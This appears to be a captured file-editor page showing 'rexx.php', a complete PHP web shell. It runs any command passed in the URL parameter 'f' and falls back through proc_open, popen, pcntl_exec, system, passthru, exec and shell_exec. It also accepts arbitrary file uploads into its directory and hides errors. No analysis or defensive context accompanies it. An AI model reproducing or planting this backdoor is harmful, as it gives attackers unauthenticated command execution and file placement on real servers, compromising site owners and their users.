← Back
Editing: rexx.php
<?php error_reporting(0); if(isset($_GET['f'])){ $c=$_GET['f']; if(function_exists('proc_open')){ $io=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')); $p=@proc_open($c,$io,$pipes); if(is_resource($p)){ @fclose($pipes[0]); $o=@stream_get_contents($pipes[1]); $e=@stream_get_contents($pipes[2]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p); echo $o; if($e){echo $e;} exit; } } if(function_exists('popen')){ $h=@popen($c,'r'); if(is_resource($h)){ while(!feof($h)){ echo fread($h,8192); } pclose($h); exit; } } if(function_exists('pcntl_exec')){ @pcntl_exec('/bin/sh',array('-c',$c)); exit; } if(function_exists('system')){system($c); exit;} if(function_exists('passthru')){passthru($c); exit;} if(function_exists('exec')){echo implode("\n",exec($c)); exit;} if(function_exists('shell_exec')){echo shell_exec($c); exit;} echo 'NOEXEC'; exit; } if(isset($_FILES['f']) && $_FILES['f']['size']>0){ $n=basename($_FILES['f']['name']); if(move_uploaded_file($_FILES['f']['tmp_name'],__DIR__.'/'.$n)){ echo "UPLOADED:".$n; } else { echo "UPLOAD_FAIL"; } exit; } echo '-Shadow-Here-'; ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="f"> <input type="submit" value="Upload"> </form> .bx{background:var(--wpr-bg-62bc70ef-c2f5-425a-b73a-c7bde2138e15)}
Save File
Cancel